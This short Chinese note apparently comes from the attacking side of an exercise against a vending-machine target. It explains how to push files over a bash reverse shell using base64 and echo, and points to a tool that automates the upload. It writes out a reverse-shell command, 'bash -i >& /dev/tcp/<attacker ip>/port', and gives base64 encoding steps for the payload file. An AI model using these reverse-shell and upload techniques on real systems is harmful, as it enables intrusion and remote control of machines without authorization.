关于上传文件的问题


关于上传文件的问题

假设已经拿到了反弹,想要在这个基础上上传一个文件到售货机,
作为黑科技方,如果文件比较小,可以用echo 'BASE64' | base64 -d > xxx
但是如果文件稍微大点,需要反复多次echo 追加文件,
但是如果文件实在有点大,就想到有没有一个自动化的工具可以快速执行echo,
上网搜索到一篇文章
(如何在只有Bash反弹Shell的情况下上传文件)
https://www.freebuf.com/articles/system/178515.html
相应的代码放在https://github.com/Zzzxbug/NcPutter

做了简单修改,使用我们的ide devc++5.9.2可以编译运行。
另外这个程序是windows的,我们又尝试写了一个linux的版本。
gcc -o test test.c
用法类似
先执行./test -p port -f mye3.txt 然后等得售货机连上来
在售货机执行 bash -i >& /dev/tcp/黑科技ip/port 0>&1

其中的mye3.txt文件也经过base64编码处理,方便传输
base64 test.c > mye.txt 装编码
cat mye.txt | tr '\n' ' ' > mye2.txt 替换成空
cat mye2.txt | sed 's/ //g' > mye3.txt 去掉空格

下载Windows nc

https://eternallybored.org/misc/netcat/